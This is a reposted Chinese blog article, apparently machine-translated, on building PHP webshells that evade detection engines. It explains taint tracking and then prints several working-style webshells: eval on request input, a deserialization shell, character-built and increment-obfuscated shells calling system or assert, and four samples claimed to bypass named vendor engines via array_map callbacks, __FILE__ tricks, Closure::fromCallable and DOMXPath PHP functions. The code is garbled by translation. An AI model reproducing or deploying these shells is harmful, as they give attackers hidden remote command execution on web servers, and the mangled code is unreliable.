免杀工具包(特征码免杀工具)

0x01 前言

最近很多厂商陆续开放了自己的Webshell检测引擎,并将其接口公开,邀请所有安全研究人员尝试旁路检测引擎,并给予奖励。我也参加了几个类似的活动,包括ASRC的魔法陷阱计划,TSRC的猎刀计划,以及最近正在进行的Aka的Webshell检测引擎。长汀的关山。如果你参与或者关注这三个比赛,你会发现他们都提到了。

1、词法分析2、污点跟踪3、恶意代码检测,这些新技术。在接下来的章节中,我们会先讲传统的Webshell检测机制,然后对比最新的Webshell检测技术,来说明在新技术下如何做无kill-free Webshell(本文所有的Webshell都是基于PHP语言)。

0x02 传统Webshell检测

传统的Webshell检测技术主要依赖于字符串的规律性特征,在面对已知样本时可以达到很高的准确率,在长期采集样本的情况下也可以满足日常运维中的Webshell检测。下面是一些经典的Webshell示例。

1,Webshell的经典句子

& lt?PHP eval($ _ GET[& # 39;cmd & # 39]);?& gt2.反序列化Webshell

& lt?php类H3 { function _ _ destruct(){ eval($this-& gt;c);}}$a=新H3;$ a-& gt;c = $ _ GET[& # 39;cmd & # 39];3、无信Webshell

& lt?php $ _ = 97$__ = 97 + 18;//s $ _ _ _ = $ _ _+6;//y $ _ _ _ _ = $ _ _+1;//t $ _ _ _ _ = $ _+4;//e $ _ _ _ _ _ _ = $ _ _-6;//m$res = chr($__)。chr($___)。chr($__)。chr($____)。chr($ _ _ _ _ _ _)。chr($ _ _ _ _ _ _);$ _ = $ _ POST[& # 39;cmd & # 39];$ RES($ _);但是对于现在的技术发展来说,黑客可以把Webshell写得更仔细一些& # 34;作弊& # 34;与传统的Webshell检测机制相比,并且Webshell容易变形,传统的Webshell检测在0day样本面前会失效,需要更全面的手段与之抗衡。

0x03 新型Webshell检测

对于to0day的情况,传统的Webshell检测对于0天的样本不是特别有效,所以a & # 34活跃& # 34;检测方法使引擎能够主动理解脚本,分析样本,发现样本中的恶意行为,而不是手动添加Webshell功能。

1、污点追踪

例如,对于一个Webshell,如果您想要执行任何命令,您必须获取外部数据。对于PHP,它意味着$_GET和$_POST来接收数据。如果要执行任何命令,接收到的数据最终都必须传递给eval和system等函数,污渍跟踪技术就利用了这一点。如果连续传递样本中的外部变量,最后进入危险函数时,基本可以断定是Webshell。以外部变量为污点源,以危险函数为污点收敛点,跟踪污点传播过程,判断污点变量是否洗白并最终进入污点收敛点。绘制如下流程图:

2、词法分析

检测引擎会分析各种脚本语言的词法和语法,然后构建控制流图和数据流图,跟踪外部污点变量在图上的传播。使用外部变量是Webshell的一个非常重要的特性。如果发现外部变量最终进入命令执行函数,可以判断为WebShell。

该引擎可以分析传统条件、循环、函数和对象的静态。目前还可以支持动态变量名、箭头函数、反射、回调等动态特征的分析。,大大加强了未知样本的检测成功率。

[ -帮助NetAnn学习。以下所有学习资料关注我,私信回复“资料”获取-]

①网络安全学习成长路径思维导图

② 60+网络安全经典工具包

③ 100+SRC漏洞分析报告

④ 150+网络安全攻防实战技术电子书

⑤最权威的CISSP认证考试指南+题库

⑥1800多页的CTF实用技能手册

⑦网安大厂最新面试问题合集(含答案)

⑧ APP客户端安全检测指南(Android +IOS)

3、加密还原

在此之前,我们Webshell常用的绕过检测的方法是通过加密绕过。例子如下:

& lt?PHP $ _ =[];$_=@"$_";// $_='数组& # 39;;$_=$_['!'=='@'];// $_=$_[0];$___=$_;//A $ _ _ = $ _;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;// S$___。=$__;//S $ _ _ = $ _;$__++;$__++;$__++;$__++;// E $___。=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R$___。=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$___。=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P$____。=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O$____。=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S$____。=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$____。=$__;$_=$____;$ _ _ _(base64 _ decode($ _[_]);//ASSERT($ _ POST[_]);这个样本使用了混淆和加密两种技术,但是现在的检测引擎已经有能力“壳”掉市面上大部分PHP加密混淆,并使用动态分析PHP executor进行虚拟执行,这样就可以动态还原混淆的加密代码。解密后混淆和加密相当于明文传输,然后利用污点跟踪技术和动静态分析可以大大提高检测率,有效降低误报率。同时,不能使用这种以前屡试不爽的技术。

0x04 如果Bypass掉新型检测引擎

如果知道原理,就能找到“忽悠”检测引擎的方法。如果你研究过,或者亲身参与过旁路挑战,你会觉得无论是动态还是静态或者任何技术,最终的检测都是基于污点追踪定律。污点跟踪的过程在前面的章节中提到过。目前,我们有两种方法:

1.使用PHP中的其他命令执行方式,检测引擎无法识别出这是污渍的聚集点。

2.中断污渍追踪的过程,使污渍收集点不落地。

拿出一个样本,让我们结合代码描述。(以下样品将由bypass的发动机单独标记。截至撰写本文时,只有Muyun webshell检测引擎正在启动。)

样本1

& lt?Php//ASRC妖娆引擎旁路$ result = array _ diff([& # 34;s & # 34,"一& # 34;,"b & # 34,"ys & # 34,"te & # 34,"m & # 34],["一& # 34;,"b & # 34]);$ a = join($ result);array_map($a,(array)$ _ REQUEST[& # 39;1']);?& gt先说原理。首先,我们需要使用技巧(PHP本身的特性)来阻断污点追踪的过程。我发现array_map()函数有一个回调,可以在fuzz测试中逃避检测。

那么,首先,有可以绕过的点。下一步是找到其他函数来改变变量& # 34;怀特& # 34;,我选择了array_diff()

这样就可以用这个函数拼凑一个系统函数,然后用array_map()的回调来做命令执行。

结果如下:

这就完成了最简单的旁路。

样本2

& lt?Php//bypass Muyun文件名需要设置为system $ filename = substr(_ _ file _ _,-10,6);$ command = $ _ POST[1];$ filename($ command);__FILE__是PHP的一个神奇常数,它会返回当前执行的PHP脚本的完整路径和文件名。我们可以通过substr()函数逆向截取,中断污点跟踪过程,执行命令,成功绕过掠云引擎,从而获得系统将变量作为函数重用的方式。

结果如下:

畜牧发动机检测结果如下:

样本3

& lt?PHP//绕过木云和TAV反病毒引擎+洋葱恶意代码检测引擎A类{ public function _ _ construct(){ } public function _ _ wake up(){ $ b = $ _ get[1];$ result = array _ diff([& # 34;s & # 34,"一& # 34;,"b & # 34,"ys & # 34,"te & # 34,"m & # 34],["一& # 34;,"b & # 34]);$ a = join($ result);closure::from callable($ a)-& gt;_ _ invoke($ _ REQUEST[2]);} } @ unserialize(& # 39;o:1:& # 34;一& # 34;:1:{ s:10:& # 34;一个评论& # 34;;n;}');这个方法带有一个反序列化层,与示例1的方法相同。该系统由数组差构造,然后使用原生类型闭包的fromCallable函数。

命令执行(array _ diff([& # 34;s & # 34,"一& # 34;,"b & # 34,"ys & # 34,"te & # 34,"m & # 34],["一& # 34;,"b & # 34]);这种方法将被检查,并简单地改变为动态控制,这也可以中断污点跟踪)

结果如下:

样本4

& lt?php//需要dom和xml,安装php-xml并保留php.ini为默认。//作者:lemon prefect $ cmd = $ _ GET[3];$ _ REQUEST[1]= & # 34;//book[PHP:function string(& # 39;系统& # 39;, '$ cmd & # 39) = 'PHP & # 39]";$ _ REQUEST[2]=[& # 34;php & # 34, "http://php.net/xpath"];$ xml = & lt& lt& ltXML & lt?xml版本= & # 34;1.0"编码= & # 34;UTF-8 & # 34;?& gt& lt书籍& gt& ltbook & gt& lttitle & gt我们是冠军& lt/title & gt;& lt作者& gtLemonPrefect & lt/作者& gt& lt作者& gtH3h3QAQ & lt/作者& gt& lt/book & gt;& lt/books & gt;XML$ doc = new DOMDocument$ doc->;load XML($ XML);$ clazz =(new reflection class(& # 34;DOMXPath & # 34));$ instance = $ clazz-& gt;new instance($ doc);$ clazz-& gt;get method(& # 34;注册命名空间& # 34;)-& gt;get closure($ instance)-& gt;_ _调用(...$ _ REQUEST[2]);$ clazz-& gt;get method(& # 34;registerPHPFunctions & # 34)-& gt;invoke($ instance);$ clazz-& gt;get method(& # 34;查询& # 34;)-& gt;get closure($ instance)-& gt;_ _ invoke($ _ REQUEST[1]);该示例需要一些条件,前提是php-xml扩展已经启动。它的原理是用XML注册一个registerPHPFunctions,也就是我们要执行的系统形成的webshell然后用getClosure触发方法,利用PHP的特性,使用registerNamespace和registerPHPFunctions中断污点跟踪,从而RCE。

结果如下:

0x05 总结

在构造Webshell时,如果知道Webshell检测引擎的原理,就知道如何绕过它。至于如何过Webshell引擎,我们需要开动脑筋,多找一些PHP文档,native type等可以中断污点跟踪的方法,让引擎无法跟踪你的行为,尽量不要让敏感字符串出现在代码体中。因为有些引擎对字符串还是有规律的特征检测的,同时要学会分析,找出自己的Webshell有什么问题,从而找到更好的替代方法。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://www.freetrip88.com/baike/2531.html

      
上一篇 2022-10-11
下一篇 2022-10-11
相关推荐